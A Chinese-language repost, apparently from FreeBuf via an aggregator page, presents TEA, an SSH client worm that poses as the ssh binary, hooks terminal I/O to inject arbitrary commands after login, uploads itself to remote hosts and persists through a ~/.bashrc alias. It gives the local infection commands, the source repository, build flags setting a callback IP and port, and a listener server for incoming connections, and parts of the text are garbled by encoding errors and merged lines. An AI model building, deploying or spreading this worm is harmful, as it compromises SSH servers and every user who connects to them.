TEA是一款基于TAS框架的SSH客戶端蠕蟲，從本質(zhì)上說，它是一個(gè)仿冒的SSH客戶端，它能夠修改tty輸入/輸出來實(shí)現(xiàn)任意命令執(zhí)行，或通過SSH連接來上傳自身以實(shí)現(xiàn)滲透感染。

為了實(shí)現(xiàn)該工具的正常功能，遠(yuǎn)程主機(jī)需要滿足以下條件：

1、在登錄時(shí)顯示“Last login”信息；

2、dd和stty；

3、目標(biāo)用戶使用Bash作為默認(rèn)Shell；

4、可運(yùn)行fakessh代碼；

5、~/.bashrc可寫入；

感染本地主機(jī)：

mkdir ~/.sshwormcp ssh ~/.sshwormalias ssh='~/.sshworm/ssh'

我們首次執(zhí)行fakessh時(shí)，并不會(huì)顯示任何內(nèi)容，工具會(huì)執(zhí)行post-install.c中的代碼，并將字符串a(chǎn)lias ssh=”~/.sshworm/ssh”寫入到~/.bashrc中：

$?ssh$?sshusage:?ssh?[-46AaCfGgKkMNnqsTtVvXxYy]?[-B?bind_interface][-b?bind_address]?[-c?cipher_spec]?[-D?[bind_address:]port][-E?log_file]?[-e?escape_char]?[-F?configfile]?[-I?pkcs11][-i?identity_file]?[-J?[user@]host[:port]]?[-L?address][-l?login_name]?[-m?mac_spec]?[-O?ctl_cmd]?[-o?option]?[-p?port][-Q?query_option]?[-R?address]?[-S?ctl_path]?[-W?host:port][-w local_tun[:remote_tun]] destination [command實(shí)現(xiàn)傳播和感染

我們只需要連接到目標(biāo)SSH服務(wù)器，并且服務(wù)器滿足TEA運(yùn)行條件的話，目標(biāo)設(shè)備以及連接至目標(biāo)設(shè)備的主機(jī)就可以成功被感染。

tty修改：

Fakessh執(zhí)行之后，它將會(huì)等到字符串“Last login”來開啟I/O修改(output-hooks.c)，當(dāng)接收到“Last login”之后，它將會(huì)發(fā)送一些任意指令(inject-cmd.c)，然后等待命令執(zhí)行的結(jié)果(output-hooks.c)。如果遠(yuǎn)程設(shè)備中不存在文件~/.sshworm/ssh的話，蠕蟲將會(huì)上傳自身(upload.c)。

卸載：

$?rm?-rf?~/.sshworm$?perl?-i?-pe?'s;alias?ssh="~/.sshworm/ssh";;g'?~/.bashrc$ unalias ssh

編譯

我建議大家使用musl-libc，或其他的libc，但我不建議大家使用glibc，因?yàn)槭褂胓libc編譯的代碼會(huì)非常大。

獲取源碼：

$ git clone —recurse-submodules https://github.com/hc0d3r/tea

構(gòu)建選項(xiàng)：

名稱介紹

IP	遠(yuǎn)程IPv4 連接
PORT	遠(yuǎn)程port 連接

樣例：

$ make CC=musl-gcc IP=my-ipv4 PORT=1234

服務(wù)器

這里我們制作了一個(gè)簡(jiǎn)單的服務(wù)器來處理鏈接，當(dāng)post-install.c的代碼被執(zhí)行之后，服務(wù)器將會(huì)接收到鏈接。服務(wù)器機(jī)制非常簡(jiǎn)單，當(dāng)新鏈接建立成功之后，它將會(huì)執(zhí)行一條新的命令并通過命令行傳遞鏈接文件描述符，這樣才能保證執(zhí)行的程序能夠處理鏈接。

編譯：

$?cd?server$?makecc?-Wall?-Wextra?-O3?-c?net.c?-o?net.occ?-Wall?-Wextra?-O3?-c?replace.c?-o?replace.occ?-Wall?-Wextra?-O3?-c?term.c?-o?term.occ?-Wall?-Wextra?-O3?-c?main.c?-o?main.occ -Wall -Wextra -O3 -o server net.o replace.o term.o main.o工具演示

項(xiàng)目地址

TEA：【GitHub傳送門】(閱讀原文獲取)

* 參考來源：hc0d3r，FB小編Alpha_h4ck編譯，轉(zhuǎn)載請(qǐng)注明來自FreeBuf.COM

精彩推薦

總結(jié)

以上是生活随笔為你收集整理的ssh客户端_一款基于TAS框架的SSH客户端蠕虫的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。